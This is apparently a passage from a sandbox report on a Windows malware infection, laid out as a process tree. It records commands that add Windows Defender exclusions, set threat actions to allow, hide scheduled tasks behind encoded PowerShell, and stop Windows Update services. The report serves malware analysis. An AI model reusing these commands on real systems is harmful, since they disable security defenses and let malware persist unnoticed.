\"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  PID:10248
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5580
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:548
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:7916
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:8196
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:8220
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5328
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:8248
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:8272
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:8292
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:8324
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4344
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:7752
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:8388
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:8416
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:7748
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2724
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:6348
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:9484
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:9508
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WPGfhLqOzAIwKSwi /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:9556
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WPGfhLqOzAIwKSwi /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:11232
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gSkjKAGIP" /SC once /ST 16:43:27 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:8924
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gSkjKAGIP"
  2⤵
  PID:5520
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gSkjKAGIP"
  2⤵
  PID:10740
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "XyyyteIMwZeutaZuw" /SC once /ST 10:54:18 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\JQSFluZ.exe\" GH /wzvndidNr 385118 /S" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:9268
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "XyyyteIMwZeutaZuw"
  2⤵
  PID:8308

C:\Users\Admin\AppData\Local\Temp\7zS2798.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS2798.tmp\Install.exe it /RKBdidZtAr 385118 /S
1⤵
PID:6172
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:3124
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:6400
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:6356
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:3320
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:6948
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:6368
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:9312
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4656
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6552
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:860
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6752
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5920
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:7640
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6748
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5800
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:8248
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:7752
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:7284

C:\ProgramData\wikombernizc\reakuqnanrkn.exe
C:\ProgramData\wikombernizc\reakuqnanrkn.exe
1⤵
PID:5176
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6320
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:5108

C:\ProgramData\Google\Chrome\updater.exe
C:\ProgramData\Google\Chrome\updater.exe
1⤵
PID:7528
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6548
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:3536
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:10892
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:10964
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:1720
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  PID:6016
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  PID:6596
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  PID:3996
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  PID:6816
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:6416
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:8504

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5420

C:\Program Files (x86)\360\Total Security\safemon\WscReg.exe
"C:\Program Files (x86)\360\Total Security\safemon\WscReg.exe"
1⤵
PID:3712
- C:\Program Files (x86)\360\Total Security\SoftMgr\EaInstHelper64.exe
  "C:\Program Files (x86)\360\Total Security\SoftMgr\EaInstHelper64.exe" /Install_run
  2⤵
  PID:4296

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
1⤵
PID:5132

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
1⤵
PID:6980

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
1⤵
PID:5500

C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
1⤵
PID:1420

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
1⤵
PID:2924

C:\ProgramData\taskmgr.exe
C:\ProgramData\taskmgr.exe
1⤵
PID:5140

C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe
"C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe"
1⤵
PID:5784
- C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe
  /showtrayicon
  2⤵
  PID:9244
- - C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe
    "C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe" /install
    3⤵
    PID:5216
- - C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe
    "C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe" /cleantip=1
    3⤵
    PID:3052
  - - C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe
      "C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe" /ExShowTrayIcon
      4⤵
      PID:9372
- - C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe
    "C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe" /ExShowTrayIcon
    3⤵
    PID:10404
- - C:\Windows\SysWOW64\regsvr32.exe
    C:\Windows\system32\regsvr32.exe /s "C:\Program Files (x86)\360\Total Security\safemon\safemon.dll"
    3⤵
    PID:9784
- C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe
  "C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe" /watch
  2⤵
  PID:10152
- C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe
  "C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe"
  2⤵
  PID:10208
- C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe
  "C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe"
  2⤵
  PID:10220
- - C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe
    "C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe" /cleantip=1
    3⤵
    PID:6660
  - - C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe
      "C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe" /ExShowTrayIcon
      4⤵
      PID:4116
- C:\Windows\SysWOW64\regsvr32.exe
  "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\360\Total Security\safemon\bdfltlib.dll"
  2⤵
  PID:6204
- C:\Windows\SysWOW64\regsvr32.exe
  "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\360\Total Security\safemon\scan.dll"
  2⤵
  PID:5696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:7328

C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\JQSFluZ.exe
C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\JQSFluZ.exe GH /wzvndidNr 385118 /S
1⤵
PID:10632
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:1440
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:10776
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:10644
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:7836
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:6352
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:4880
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:10952
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:6836
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:6600
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:4520
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:6944
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:1692
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8292
